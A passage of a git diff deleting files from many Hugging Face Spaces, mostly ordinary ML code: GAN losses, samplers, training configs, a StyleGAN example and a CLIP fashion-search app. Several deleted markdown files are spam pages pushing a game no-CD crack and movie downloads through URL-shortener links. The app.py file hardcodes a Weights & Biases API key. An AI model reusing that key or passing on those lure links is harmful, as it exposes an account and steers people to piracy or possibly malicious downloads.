-<p>Another method to prevent CSRF attacks is to use the SameSite attribute for cookies, which is a flag that tells the browser whether to send the cookie along with cross-site requests or not. The SameSite attribute can have three values: Strict, Lax, or None. Strict means that the cookie will only be sent with same-site requests, Lax means that the cookie will be sent with same-site requests and some cross-site requests (such as GET requests), and None means that the cookie will be sent with all cross-site requests. The None value requires that the cookie also has the Secure attribute, which means that it will only be sent over HTTPS connections.</p> d5da3c52bf<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/recenWmenso/ChatGPT-with-Voice-Cloning-for-All/datasets/Diablo 1 No Cd Crack 1.09 Download NEW.md b/spaces/recenWmenso/ChatGPT-with-Voice-Cloning-for-All/datasets/Diablo 1 No Cd Crack 1.09 Download NEW.md
deleted file mode 100644
index 5c348c036e1c04af5c6b81a2fbbba20f34c6ce6d..0000000000000000000000000000000000000000
--- a/spaces/recenWmenso/ChatGPT-with-Voice-Cloning-for-All/datasets/Diablo 1 No Cd Crack 1.09 Download NEW.md	
+++ /dev/null
@@ -1,6 +0,0 @@
-<h2>Diablo 1 No Cd Crack 1.09 Download</h2><br /><p><b><b>DOWNLOAD</b> &rarr;&rarr;&rarr; <a href="https://urlgoal.com/2uCKjb">https://urlgoal.com/2uCKjb</a></b></p><br /><br />
-<br />
-For the best answers, search on this site Don't listen to other answers. It is so easy. Follow Steps Step 1: Download Patch Step 2: Insert your ... 1fdad05405<br />
-<br />
-<br />
-<p></p>
diff --git a/spaces/reha/Stick_Tech/losses.py b/spaces/reha/Stick_Tech/losses.py
deleted file mode 100644
index 41f9be6980713a46824ae9ec5eb8fd7c515d89c5..0000000000000000000000000000000000000000
--- a/spaces/reha/Stick_Tech/losses.py
+++ /dev/null
@@ -1,61 +0,0 @@
-import torch 
-from torch.nn import functional as F
-
-import commons
-
-
-def feature_loss(fmap_r, fmap_g):
-  loss = 0
-  for dr, dg in zip(fmap_r, fmap_g):
-    for rl, gl in zip(dr, dg):
-      rl = rl.float().detach()
-      gl = gl.float()
-      loss += torch.mean(torch.abs(rl - gl))
-
-  return loss * 2 
-
-
-def discriminator_loss(disc_real_outputs, disc_generated_outputs):
-  loss = 0
-  r_losses = []
-  g_losses = []
-  for dr, dg in zip(disc_real_outputs, disc_generated_outputs):
-    dr = dr.float()
-    dg = dg.float()
-    r_loss = torch.mean((1-dr)**2)
-    g_loss = torch.mean(dg**2)
-    loss += (r_loss + g_loss)
-    r_losses.append(r_loss.item())
-    g_losses.append(g_loss.item())
-
-  return loss, r_losses, g_losses
-
-
-def generator_loss(disc_outputs):
-  loss = 0
-  gen_losses = []
-  for dg in disc_outputs:
-    dg = dg.float()
-    l = torch.mean((1-dg)**2)
-    gen_losses.append(l)
-    loss += l
-
-  return loss, gen_losses
-
-
-def kl_loss(z_p, logs_q, m_p, logs_p, z_mask):
-  """
-  z_p, logs_q: [b, h, t_t]
-  m_p, logs_p: [b, h, t_t]
-  """
-  z_p = z_p.float()
-  logs_q = logs_q.float()
-  m_p = m_p.float()
-  logs_p = logs_p.float()
-  z_mask = z_mask.float()
-  #print(logs_p)
-  kl = logs_p - logs_q - 0.5
-  kl += 0.5 * ((z_p - m_p)**2) * torch.exp(-2. * logs_p)
-  kl = torch.sum(kl * z_mask)
-  l = kl / torch.sum(z_mask)
-  return l
diff --git a/spaces/riccorl/relik-entity-linking/relik/retriever/common/sampler.py b/spaces/riccorl/relik-entity-linking/relik/retriever/common/sampler.py
deleted file mode 100644
index 024c57b23da6db71dd76929226b005f75b9e98f5..0000000000000000000000000000000000000000
--- a/spaces/riccorl/relik-entity-linking/relik/retriever/common/sampler.py
+++ /dev/null
@@ -1,108 +0,0 @@
-import math
-
-from torch.utils.data.sampler import BatchSampler, Sampler, SubsetRandomSampler
-
-
-def identity(x):
-    return x
-
-
-class SortedSampler(Sampler):
-    """
-    Samples elements sequentially, always in the same order.
-
-    Args:
-        data (`obj`: `Iterable`):
-            Iterable data.
-        sort_key (`obj`: `Callable`):
-            Specifies a function of one argument that is used to
-            extract a numerical comparison key from each list element.
-
-        Example:
-            >>> list(SortedSampler(range(10), sort_key=lambda i: -i))
-                [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
-
-    """
-
-    def __init__(self, data, sort_key=identity):
-        super().__init__(data)
-        self.data = data
-        self.sort_key = sort_key
-        zip_ = [(i, self.sort_key(row)) for i, row in enumerate(self.data)]
-        zip_ = sorted(zip_, key=lambda r: r[1])
-        self.sorted_indexes = [item[0] for item in zip_]
-
-    def __iter__(self):
-        return iter(self.sorted_indexes)
-
-    def __len__(self):
-        return len(self.data)
-
-
-class BucketBatchSampler(BatchSampler):
-    """
-    `BucketBatchSampler` toggles between `sampler` batches and sorted batches.
-    Typically, the `sampler` will be a `RandomSampler` allowing the user to toggle between
-    random batches and sorted batches. A larger `bucket_size_multiplier` is more sorted and vice
-    versa.
-    Background:
-        ``BucketBatchSampler`` is similar to a ``BucketIterator`` found in popular libraries like
-        ``AllenNLP`` and ``torchtext``. A ``BucketIterator`` pools together examples with a similar
-        size length to reduce the padding required for each batch while maintaining some noise
-        through bucketing.
-        **AllenNLP Implementation:**
-        https://github.com/allenai/allennlp/blob/master/allennlp/data/iterators/bucket_iterator.py
-        **torchtext Implementation:**
-        https://github.com/pytorch/text/blob/master/torchtext/data/iterator.py#L225
-
-    Args:
-        sampler (`obj`: `torch.data.utils.sampler.Sampler):
-        batch_size (`int`):
-            Size of mini-batch.
-        drop_last (`bool`, optional, defaults to `False`):
-            If `True` the sampler will drop the last batch if its size would be less than `batch_size`.
-        sort_key (`obj`: `Callable`, optional, defaults to `identity`):
-            Callable to specify a comparison key for sorting.
-        bucket_size_multiplier (`int`, optional, defaults to `100`):
-            Buckets are of size `batch_size * bucket_size_multiplier`.
-    Example:
-        >>> from torchnlp.random import set_seed
-        >>> set_seed(123)
-        >>>
-        >>> from torch.utils.data.sampler import SequentialSampler
-        >>> sampler = SequentialSampler(list(range(10)))
-        >>> list(BucketBatchSampler(sampler, batch_size=3, drop_last=False))
-        [[6, 7, 8], [0, 1, 2], [3, 4, 5], [9]]
-        >>> list(BucketBatchSampler(sampler, batch_size=3, drop_last=True))
-        [[0, 1, 2], [3, 4, 5], [6, 7, 8]]
-
-    """
-
-    def __init__(
-        self,
-        sampler,
-        batch_size,
-        drop_last: bool = False,
-        sort_key=identity,
-        bucket_size_multiplier=100,
-    ):
-        super().__init__(sampler, batch_size, drop_last)
-        self.sort_key = sort_key
-        _bucket_size = batch_size * bucket_size_multiplier
-        if hasattr(sampler, "__len__"):
-            _bucket_size = min(_bucket_size, len(sampler))
-        self.bucket_sampler = BatchSampler(sampler, _bucket_size, False)
-
-    def __iter__(self):
-        for bucket in self.bucket_sampler:
-            sorted_sampler = SortedSampler(bucket, self.sort_key)
-            for batch in SubsetRandomSampler(
-                list(BatchSampler(sorted_sampler, self.batch_size, self.drop_last))
-            ):
-                yield [bucket[i] for i in batch]
-
-    def __len__(self):
-        if self.drop_last:
-            return len(self.sampler) // self.batch_size
-        else:
-            return math.ceil(len(self.sampler) / self.batch_size)
diff --git a/spaces/richardzhangy26/yandian_flow_classification/configs/_base_/datasets/sintel_cleanx100_sintel_fianlx100_kitti2015x200_hd1kx5_flyingthings3d_raft_384x768.py b/spaces/richardzhangy26/yandian_flow_classification/configs/_base_/datasets/sintel_cleanx100_sintel_fianlx100_kitti2015x200_hd1kx5_flyingthings3d_raft_384x768.py
deleted file mode 100644
index 3f58edbc88416fb393af1c969d5c08d4f879b49d..0000000000000000000000000000000000000000
--- a/spaces/richardzhangy26/yandian_flow_classification/configs/_base_/datasets/sintel_cleanx100_sintel_fianlx100_kitti2015x200_hd1kx5_flyingthings3d_raft_384x768.py
+++ /dev/null
@@ -1,236 +0,0 @@
-img_norm_cfg = dict(
-    mean=[127.5, 127.5, 127.5], std=[127.5, 127.5, 127.5], to_rgb=False)
-crop_size = (368, 768)
-
-# Sintel config
-sintel_train_pipeline = [
-    dict(type='LoadImageFromFile'),
-    dict(type='LoadAnnotations'),
-    dict(
-        type='ColorJitter',
-        asymmetric_prob=0.2,
-        brightness=0.4,
-        contrast=0.4,
-        saturation=0.4,
-        hue=0.5 / 3.14),
-    dict(type='Erase', prob=0.5, bounds=[50, 100], max_num=3),
-    dict(
-        type='SpacialTransform',
-        spacial_prob=0.8,
-        stretch_prob=0.8,
-        crop_size=crop_size,
-        min_scale=-0.2,
-        max_scale=0.6,
-        max_stretch=0.2),
-    dict(type='RandomCrop', crop_size=crop_size),
-    dict(type='RandomFlip', prob=0.5, direction='horizontal'),
-    dict(type='RandomFlip', prob=0.1, direction='vertical'),
-    dict(type='Validation', max_flow=1000.),
-    dict(type='Normalize', **img_norm_cfg),
-    dict(type='DefaultFormatBundle'),
-    dict(
-        type='Collect',
-        keys=['imgs', 'flow_gt', 'valid'],
-        meta_keys=[
-            'filename1', 'filename2', 'ori_filename1', 'ori_filename2',
-            'filename_flow', 'ori_filename_flow', 'ori_shape', 'img_shape',
-            'erase_bounds', 'erase_num', 'scale_factor'
-        ])
-]
-sintel_test_pipeline = [
-    dict(type='LoadImageFromFile'),
-    dict(type='LoadAnnotations'),
-    dict(type='InputPad', exponent=3),
-    dict(type='Normalize', **img_norm_cfg),
-    dict(type='TestFormatBundle'),
-    dict(
-        type='Collect',
-        keys=['imgs'],
-        meta_keys=[
-            'flow_gt', 'filename1', 'filename2', 'ori_filename1',
-            'ori_filename2', 'ori_shape', 'img_shape', 'img_norm_cfg',
-            'scale_factor', 'pad_shape', 'pad'
-        ])
-]
-
-sintel_clean_train = dict(
-    type='Sintel',
-    pipeline=sintel_train_pipeline,
-    data_root='data/Sintel',
-    test_mode=False,
-    pass_style='clean')
-sintel_final_train = dict(
-    type='Sintel',
-    pipeline=sintel_train_pipeline,
-    data_root='data/Sintel',
-    test_mode=False,
-    pass_style='final')
-
-sintel_clean_train_x100 = dict(
-    type='RepeatDataset', times=100, dataset=sintel_clean_train)
-sintel_final_train_x100 = dict(
-    type='RepeatDataset', times=100, dataset=sintel_final_train)
-
-sintel_clean_test = dict(
-    type='Sintel',
-    pipeline=sintel_test_pipeline,
-    data_root='data/Sintel',
-    test_mode=True,
-    pass_style='clean')
-sintel_final_test = dict(
-    type='Sintel',
-    pipeline=sintel_test_pipeline,
-    data_root='data/Sintel',
-    test_mode=True,
-    pass_style='final')
-
-# KITTI config
-kitti_train_pipeline = [
-    dict(type='LoadImageFromFile'),
-    dict(type='LoadAnnotations', sparse=True),
-    dict(
-        type='ColorJitter',
-        asymmetric_prob=0.0,
-        brightness=0.4,
-        contrast=0.4,
-        saturation=0.4,
-        hue=0.5 / 3.14),
-    dict(type='Erase', prob=0.5, bounds=[50, 100], max_num=3),
-    dict(
-        type='SpacialTransform',
-        spacial_prob=0.8,
-        stretch_prob=0.8,
-        crop_size=crop_size,
-        min_scale=-0.3,
-        max_scale=0.5,
-        max_stretch=0.2),
-    dict(type='RandomCrop', crop_size=crop_size),
-    dict(type='RandomFlip', prob=0.5, direction='horizontal'),
-    dict(type='RandomFlip', prob=0.1, direction='vertical'),
-    dict(type='Normalize', **img_norm_cfg),
-    dict(type='DefaultFormatBundle'),
-    dict(
-        type='Collect',
-        keys=['imgs', 'flow_gt', 'valid'],
-        meta_keys=[
-            'filename1', 'filename2', 'ori_filename1', 'ori_filename2',
-            'filename_flow', 'ori_filename_flow', 'ori_shape', 'img_shape',
-            'erase_bounds', 'erase_num', 'scale_factor'
-        ])
-]
-kitti_train = dict(
-    type='KITTI2015',
-    data_root='data/kitti2015',
-    pipeline=kitti_train_pipeline,
-    test_mode=False)
-kitti_train_x200 = dict(type='RepeatDataset', times=200, dataset=kitti_train)
-
-# Flyingthings3d config
-flyingthing3d_train_pipeline = [
-    dict(type='LoadImageFromFile'),
-    dict(type='LoadAnnotations'),
-    dict(
-        type='ColorJitter',
-        asymmetric_prob=0.2,
-        brightness=0.4,
-        contrast=0.4,
-        saturation=0.4,
-        hue=0.5 / 3.14),
-    dict(type='Erase', prob=0.5, bounds=[50, 100], max_num=3),
-    dict(
-        type='SpacialTransform',
-        spacial_prob=0.8,
-        stretch_prob=0.8,
-        crop_size=crop_size,
-        min_scale=-0.4,
-        max_scale=0.8,
-        max_stretch=0.2),
-    dict(type='RandomCrop', crop_size=crop_size),
-    dict(type='RandomFlip', prob=0.5, direction='horizontal'),
-    dict(type='RandomFlip', prob=0.1, direction='vertical'),
-    dict(type='Validation', max_flow=1000.),
-    dict(type='Normalize', **img_norm_cfg),
-    dict(type='DefaultFormatBundle'),
-    dict(
-        type='Collect',
-        keys=['imgs', 'flow_gt', 'valid'],
-        meta_keys=[
-            'filename1', 'filename2', 'ori_filename1', 'ori_filename2',
-            'filename_flow', 'ori_filename_flow', 'ori_shape', 'img_shape',
-            'erase_bounds', 'erase_num', 'scale_factor'
-        ])
-]
-flyingthings3d_clean_train = dict(
-    type='FlyingThings3D',
-    data_root='data/flyingthings3d',
-    pipeline=flyingthing3d_train_pipeline,
-    pass_style='clean',
-    scene='left')
-
-# HD1K config
-hd1k_train_pipeline = [
-    dict(type='LoadImageFromFile'),
-    dict(type='LoadAnnotations', sparse=True),
-    dict(
-        type='ColorJitter',
-        asymmetric_prob=0.,
-        brightness=0.4,
-        contrast=0.4,
-        saturation=0.4,
-        hue=0.5 / 3.14),
-    dict(type='Erase', prob=0.5, bounds=[50, 100], max_num=3),
-    dict(
-        type='SpacialTransform',
-        spacial_prob=0.8,
-        stretch_prob=0.8,
-        crop_size=crop_size,
-        min_scale=-0.5,
-        max_scale=0.2,
-        max_stretch=0.2),
-    dict(type='RandomCrop', crop_size=crop_size),
-    dict(type='RandomFlip', prob=0.5, direction='horizontal'),
-    dict(type='RandomFlip', prob=0.1, direction='vertical'),
-    dict(type='Normalize', **img_norm_cfg),
-    dict(type='DefaultFormatBundle'),
-    dict(
-        type='Collect',
-        keys=['imgs', 'flow_gt', 'valid'],
-        meta_keys=[
-            'filename1', 'filename2', 'ori_filename1', 'ori_filename2',
-            'filename_flow', 'ori_filename_flow', 'ori_shape', 'img_shape',
-            'erase_bounds', 'erase_num', 'scale_factor'
-        ])
-]
-hd1k_train = dict(
-    type='HD1K',
-    pipeline=hd1k_train_pipeline,
-    data_root='data/hd1k',
-    test_mode=False)
-
-hd1k_train_x5 = dict(type='RepeatDataset', times=5, dataset=hd1k_train)
-
-data = dict(
-    train_dataloader=dict(
-        samples_per_gpu=2,
-        workers_per_gpu=5,
-        drop_last=True,
-        shuffle=True,
-        persistent_workers=True),
-    val_dataloader=dict(
-        samples_per_gpu=1,
-        workers_per_gpu=5,
-        shuffle=False,
-        persistent_workers=True),
-    test_dataloader=dict(samples_per_gpu=1, workers_per_gpu=5, shuffle=False),
-    train=[
-        sintel_clean_train_x100, sintel_final_train_x100, kitti_train_x200,
-        flyingthings3d_clean_train, hd1k_train_x5
-    ],
-    val=dict(
-        type='ConcatDataset',
-        datasets=[sintel_clean_test, sintel_final_test],
-        separate_eval=True),
-    test=dict(
-        type='ConcatDataset',
-        datasets=[sintel_clean_test, sintel_final_test],
-        separate_eval=True))
diff --git a/spaces/robin0307/MMOCR/configs/_base_/schedules/schedule_sgd_1200e.py b/spaces/robin0307/MMOCR/configs/_base_/schedules/schedule_sgd_1200e.py
deleted file mode 100644
index bc7fbf69b42b11ea9b8ae4d14216d2fcf20e717c..0000000000000000000000000000000000000000
--- a/spaces/robin0307/MMOCR/configs/_base_/schedules/schedule_sgd_1200e.py
+++ /dev/null
@@ -1,8 +0,0 @@
-# optimizer
-optimizer = dict(type='SGD', lr=0.007, momentum=0.9, weight_decay=0.0001)
-optimizer_config = dict(grad_clip=None)
-# learning policy
-lr_config = dict(policy='poly', power=0.9, min_lr=1e-7, by_epoch=True)
-# running settings
-runner = dict(type='EpochBasedRunner', max_epochs=1200)
-checkpoint_config = dict(interval=100)
diff --git a/spaces/rockeycoss/Prompt-Segment-Anything-Demo/mmdet/datasets/samplers/__init__.py b/spaces/rockeycoss/Prompt-Segment-Anything-Demo/mmdet/datasets/samplers/__init__.py
deleted file mode 100644
index a4c7ea135af652712e5a9f14a2002c516c44a16b..0000000000000000000000000000000000000000
--- a/spaces/rockeycoss/Prompt-Segment-Anything-Demo/mmdet/datasets/samplers/__init__.py
+++ /dev/null
@@ -1,10 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-from .class_aware_sampler import ClassAwareSampler
-from .distributed_sampler import DistributedSampler
-from .group_sampler import DistributedGroupSampler, GroupSampler
-from .infinite_sampler import InfiniteBatchSampler, InfiniteGroupBatchSampler
-
-__all__ = [
-    'DistributedSampler', 'DistributedGroupSampler', 'GroupSampler',
-    'InfiniteGroupBatchSampler', 'InfiniteBatchSampler', 'ClassAwareSampler'
-]
diff --git a/spaces/rorallitri/biomedical-language-models/logs/100 Days of Love Full Movie with English Subtitles Download 134 The Story of Balan and Sheela a Childhood Crush Rekindled.md b/spaces/rorallitri/biomedical-language-models/logs/100 Days of Love Full Movie with English Subtitles Download 134 The Story of Balan and Sheela a Childhood Crush Rekindled.md
deleted file mode 100644
index 23ce2258b841bed9208ebc2a268f1f50ee064e9a..0000000000000000000000000000000000000000
--- a/spaces/rorallitri/biomedical-language-models/logs/100 Days of Love Full Movie with English Subtitles Download 134 The Story of Balan and Sheela a Childhood Crush Rekindled.md	
+++ /dev/null
@@ -1,6 +0,0 @@
-<h2>100daysoflovefullmoviewithenglishsubtitlesdownload134</h2><br /><p><b><b>Download File</b> &#9999; &#9999; &#9999; <a href="https://tinurll.com/2uzonl">https://tinurll.com/2uzonl</a></b></p><br /><br />
-
- aaccfb2cb3<br />
-<br />
-<br />
-<p></p>
diff --git a/spaces/rorallitri/biomedical-language-models/logs/Biag Ni Lam-ang Full Story Ilocano Version Of The Biblel A Powerpoint Presentation by Julius Micua Aquino[3].md b/spaces/rorallitri/biomedical-language-models/logs/Biag Ni Lam-ang Full Story Ilocano Version Of The Biblel A Powerpoint Presentation by Julius Micua Aquino[3].md
deleted file mode 100644
index e2b789f65405417aa2b376f693719fbaf174bce8..0000000000000000000000000000000000000000
--- a/spaces/rorallitri/biomedical-language-models/logs/Biag Ni Lam-ang Full Story Ilocano Version Of The Biblel A Powerpoint Presentation by Julius Micua Aquino[3].md	
+++ /dev/null
@@ -1,6 +0,0 @@
-<h2>Biag Ni Lam-ang Full Story Ilocano Version Of The Biblel</h2><br /><p><b><b>Download Zip</b> &hArr; <a href="https://tinurll.com/2uzo9d">https://tinurll.com/2uzo9d</a></b></p><br /><br />
-
- aaccfb2cb3<br />
-<br />
-<br />
-<p></p>
diff --git a/spaces/ryparmar/fashion-aggregator/app.py b/spaces/ryparmar/fashion-aggregator/app.py
deleted file mode 100644
index 1eef07b82a1e0d7dc6de8292956bc8dd050ee0e4..0000000000000000000000000000000000000000
--- a/spaces/ryparmar/fashion-aggregator/app.py
+++ /dev/null
@@ -1,216 +0,0 @@
-"""Provide a text query describing what you are looking for and get back out images with links!"""
-import argparse
-import logging
-import os
-import wandb
-import gradio as gr
-
-import zipfile
-import pickle
-from pathlib import Path
-from typing import List, Any, Dict
-from PIL import Image
-from pathlib import Path
-
-from transformers import AutoTokenizer
-from sentence_transformers import SentenceTransformer, util
-from multilingual_clip import pt_multilingual_clip
-import torch
-
-from pathlib import Path
-from typing import Callable, Dict, List, Tuple
-from PIL.Image import Image
-
-print(__file__)
-
-os.environ["CUDA_VISIBLE_DEVICES"] = ""  # do not use GPU
-
-logging.basicConfig(level=logging.INFO)
-DEFAULT_APPLICATION_NAME = "fashion-aggregator"
-
-APP_DIR = Path(__file__).resolve().parent  # what is the directory for this application?
-FAVICON = APP_DIR / "t-shirt_1f455.png"  # path to a small image for display in browser tab and social media
-README = APP_DIR / "README.md"  # path to an app readme file in HTML/markdown
-
-DEFAULT_PORT = 11700
-
-EMBEDDINGS_DIR = "artifacts/img-embeddings"
-EMBEDDINGS_FILE = os.path.join(EMBEDDINGS_DIR, "embeddings.pkl")
-RAW_PHOTOS_DIR = "artifacts/raw-photos"
-
-# Download image embeddings and raw photos
-wandb.login(key="4b5a23a662b20fdd61f2aeb5032cf56fdce278a4")  # os.getenv('wandb')
-api = wandb.Api()
-artifact_embeddings = api.artifact("ryparmar/fashion-aggregator/unimoda-images:v1")
-artifact_embeddings.download(EMBEDDINGS_DIR)
-artifact_raw_photos = api.artifact("ryparmar/fashion-aggregator/unimoda-raw-images:v1")
-artifact_raw_photos.download("artifacts")
-
-with zipfile.ZipFile("artifacts/unimoda.zip", 'r') as zip_ref:
-    zip_ref.extractall(RAW_PHOTOS_DIR)
-
-
-class TextEncoder:
-    """Encodes the given text"""
-
-    def __init__(self, model_path="M-CLIP/XLM-Roberta-Large-Vit-B-32"):
-        self.model = pt_multilingual_clip.MultilingualCLIP.from_pretrained(model_path)
-        self.tokenizer = AutoTokenizer.from_pretrained(model_path)
-
-    @torch.no_grad()
-    def encode(self, query: str) -> torch.Tensor:
-        """Predict/infer text embedding for a given query."""
-        query_emb = self.model.forward([query], self.tokenizer)
-        return query_emb
-
-
-class ImageEnoder:
-    """Encodes the given image"""
-
-    def __init__(self, model_path="clip-ViT-B-32"):
-        self.model = SentenceTransformer(model_path)
-
-    @torch.no_grad()
-    def encode(self, image: Image) -> torch.Tensor:
-        """Predict/infer text embedding for a given query."""
-        image_emb = self.model.encode([image], convert_to_tensor=True, show_progress_bar=False)
-        return image_emb
-
-
-class Retriever:
-    """Retrieves relevant images for a given text embedding."""
-
-    def __init__(self, image_embeddings_path=None):
-        self.text_encoder = TextEncoder()
-        self.image_encoder = ImageEnoder()
-
-        with open(image_embeddings_path, "rb") as file:
-            self.image_names, self.image_embeddings = pickle.load(file)
-            self.image_names = [
-                img_name.replace("fashion-aggregator/fashion_aggregator/data/photos/", "")
-                for img_name in self.image_names
-            ]
-        print("Images:", len(self.image_names))
-
-    @torch.no_grad()
-    def predict(self, text_query: str, k: int = 10) -> List[Any]:
-        """Return top-k relevant items for a given embedding"""
-        query_emb = self.text_encoder.encode(text_query)
-        relevant_images = util.semantic_search(query_emb, self.image_embeddings, top_k=k)[0]
-        return relevant_images
-
-    @torch.no_grad()
-    def search_images(self, text_query: str, k: int = 6) -> Dict[str, List[Any]]:
-        """Return top-k relevant images for a given embedding"""
-        images = self.predict(text_query, k)
-        paths_and_scores = {"path": [], "score": []}
-        for img in images:
-            paths_and_scores["path"].append(os.path.join(RAW_PHOTOS_DIR, self.image_names[img["corpus_id"]]))
-            paths_and_scores["score"].append(img["score"])
-        return paths_and_scores
-
-
-def main(args):
-    predictor = PredictorBackend(url=args.model_url)
-    frontend = make_frontend(predictor.run, flagging=args.flagging, gantry=args.gantry, app_name=args.application)
-    frontend.launch(
-        # server_name="0.0.0.0",  # make server accessible, binding all interfaces  # noqa: S104
-        # server_port=args.port,  # set a port to bind to, failing if unavailable
-        # share=False,  # should we create a (temporary) public link on https://gradio.app?
-        # favicon_path=FAVICON,  # what icon should we display in the address bar?
-    )
-
-
-def make_frontend(
-    fn: Callable[[Image], str], flagging: bool = False, gantry: bool = False, app_name: str = "fashion-aggregator"
-):
-    """Creates a gradio.Interface frontend for text to image search function."""
-
-    allow_flagging = "never"
-
-    # build a basic browser interface to a Python function
-    frontend = gr.Interface(
-        fn=fn,  # which Python function are we interacting with?
-        outputs=gr.Gallery(label="Relevant Items"),
-        # what input widgets does it need? we configure an image widget
-        inputs=gr.components.Textbox(label="Item Description"),
-        title="📝 Text2Image 👕",  # what should we display at the top of the page?
-        thumbnail=FAVICON,  # what should we display when the link is shared, e.g. on social media?
-        description=__doc__,  # what should we display just above the interface?
-        cache_examples=False,  # should we cache those inputs for faster inference? slows down start
-        allow_flagging=allow_flagging,  # should we show users the option to "flag" outputs?
-        flagging_options=["incorrect", "offensive", "other"],  # what options do users have for feedback?
-    )
-    return frontend
-
-
-class PredictorBackend:
-    """Interface to a backend that serves predictions.
-
-    To communicate with a backend accessible via a URL, provide the url kwarg.
-
-    Otherwise, runs a predictor locally.
-    """
-
-    def __init__(self, url=None):
-        if url is not None:
-            self.url = url
-            self._predict = self._predict_from_endpoint
-        else:
-            model = Retriever(image_embeddings_path=EMBEDDINGS_FILE)
-            self._predict = model.predict
-            self._search_images = model.search_images
-
-    def run(self, text: str):
-        pred, metrics = self._predict_with_metrics(text)
-        self._log_inference(pred, metrics)
-        return pred
-
-    def _predict_with_metrics(self, text: str) -> Tuple[List[str], Dict[str, float]]:
-        paths_and_scores = self._search_images(text)
-        metrics = {"mean_score": sum(paths_and_scores["score"]) / len(paths_and_scores["score"])}
-        return paths_and_scores["path"], metrics
-
-    def _log_inference(self, pred, metrics):
-        for key, value in metrics.items():
-            logging.info(f"METRIC {key} {value}")
-        logging.info(f"PRED >begin\n{pred}\nPRED >end")
-
-
-def _make_parser():
-    parser = argparse.ArgumentParser(description=__doc__)
-    parser.add_argument(
-        "--model_url",
-        default=None,
-        type=str,
-        help="Identifies a URL to which to send image data. Data is base64-encoded, converted to a utf-8 string, and then set via a POST request as JSON with the key 'image'. Default is None, which instead sends the data to a model running locally.",
-    )
-    parser.add_argument(
-        "--port",
-        default=DEFAULT_PORT,
-        type=int,
-        help=f"Port on which to expose this server. Default is {DEFAULT_PORT}.",
-    )
-    parser.add_argument(
-        "--flagging",
-        action="store_true",
-        help="Pass this flag to allow users to 'flag' model behavior and provide feedback.",
-    )
-    parser.add_argument(
-        "--gantry",
-        action="store_true",
-        help="Pass --flagging and this flag to log user feedback to Gantry. Requires GANTRY_API_KEY to be defined as an environment variable.",
-    )
-    parser.add_argument(
-        "--application",
-        default=DEFAULT_APPLICATION_NAME,
-        type=str,
-        help=f"Name of the Gantry application to which feedback should be logged, if --gantry and --flagging are passed. Default is {DEFAULT_APPLICATION_NAME}.",
-    )
-    return parser
-
-
-if __name__ == "__main__":
-    parser = _make_parser()
-    args = parser.parse_args()
-    main(args)
diff --git a/spaces/safi842/FashionGen/models/stylegan/stylegan_tf/pretrained_example.py b/spaces/safi842/FashionGen/models/stylegan/stylegan_tf/pretrained_example.py
deleted file mode 100644
index 63baef08bfa4bf34f52a0cf63e10a0b6783ac316..0000000000000000000000000000000000000000
--- a/spaces/safi842/FashionGen/models/stylegan/stylegan_tf/pretrained_example.py
+++ /dev/null
@@ -1,47 +0,0 @@
-# Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved.
-#
-# This work is licensed under the Creative Commons Attribution-NonCommercial
-# 4.0 International License. To view a copy of this license, visit
-# http://creativecommons.org/licenses/by-nc/4.0/ or send a letter to
-# Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
-
-"""Minimal script for generating an image using pre-trained StyleGAN generator."""
-
-import os
-import pickle
-import numpy as np
-import PIL.Image
-import dnnlib
-import dnnlib.tflib as tflib
-import config
-
-def main():
-    # Initialize TensorFlow.
-    tflib.init_tf()
-
-    # Load pre-trained network.
-    url = 'https://drive.google.com/uc?id=1MEGjdvVpUsu1jB4zrXZN7Y4kBBOzizDQ' # karras2019stylegan-ffhq-1024x1024.pkl
-    with dnnlib.util.open_url(url, cache_dir=config.cache_dir) as f:
-        _G, _D, Gs = pickle.load(f)
-        # _G = Instantaneous snapshot of the generator. Mainly useful for resuming a previous training run.
-        # _D = Instantaneous snapshot of the discriminator. Mainly useful for resuming a previous training run.
-        # Gs = Long-term average of the generator. Yields higher-quality results than the instantaneous snapshot.
-
-    # Print network details.
-    Gs.print_layers()
-
-    # Pick latent vector.
-    rnd = np.random.RandomState(5)
-    latents = rnd.randn(1, Gs.input_shape[1])
-
-    # Generate image.
-    fmt = dict(func=tflib.convert_images_to_uint8, nchw_to_nhwc=True)
-    images = Gs.run(latents, None, truncation_psi=0.7, randomize_noise=True, output_transform=fmt)
-
-    # Save image.
-    os.makedirs(config.result_dir, exist_ok=True)
-    png_filename = os.path.join(config.result_dir, 'example.png')
-    PIL.Image.fromarray(images[0], 'RGB').save(png_filename)
-
-if __name__ == "__main__":
-    main()
diff --git a/spaces/safi842/FashionGen/notebooks/notebook_init.py b/spaces/safi842/FashionGen/notebooks/notebook_init.py
deleted file mode 100644
index 4640339c1b92478a1c9e44d4e69e40364b0f6807..0000000000000000000000000000000000000000
--- a/spaces/safi842/FashionGen/notebooks/notebook_init.py
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright 2020 Erik Härkönen. All rights reserved.
-# This file is licensed to you under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License. You may obtain a copy
-# of the License at http://www.apache.org/licenses/LICENSE-2.0
-
-# Unless required by applicable law or agreed to in writing, software distributed under
-# the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS
-# OF ANY KIND, either express or implied. See the License for the specific language
-# governing permissions and limitations under the License.
-
-# Shared init code for noteoboks
-# Usage: from notebook_init import *
-
-import torch
-import numpy as np
-from os import makedirs
-from types import SimpleNamespace
-import matplotlib.pyplot as plt
-from pathlib import Path
-from PIL import Image
-import pickle
-
-import sys
-sys.path.insert(0, '..')
-from models import get_instrumented_model, get_model
-from notebook_utils import create_strip, create_strip_centered, prettify_name, save_frames, pad_frames
-from config import Config
-from decomposition import get_or_compute
-
-torch.autograd.set_grad_enabled(False)
-torch.backends.cudnn.benchmark = True
-
-has_gpu = torch.cuda.is_available()
-device = torch.device('cuda' if has_gpu else 'cpu')
-inst = None
\ No newline at end of file
diff --git a/spaces/sam-hq-team/sam-hq/GroundingDINO/groundingdino/models/GroundingDINO/utils.py b/spaces/sam-hq-team/sam-hq/GroundingDINO/groundingdino/models/GroundingDINO/utils.py
deleted file mode 100644
index 5bd18f70225e12b2e27fdb4eabcde91d959f8e31..0000000000000000000000000000000000000000
--- a/spaces/sam-hq-team/sam-hq/GroundingDINO/groundingdino/models/GroundingDINO/utils.py
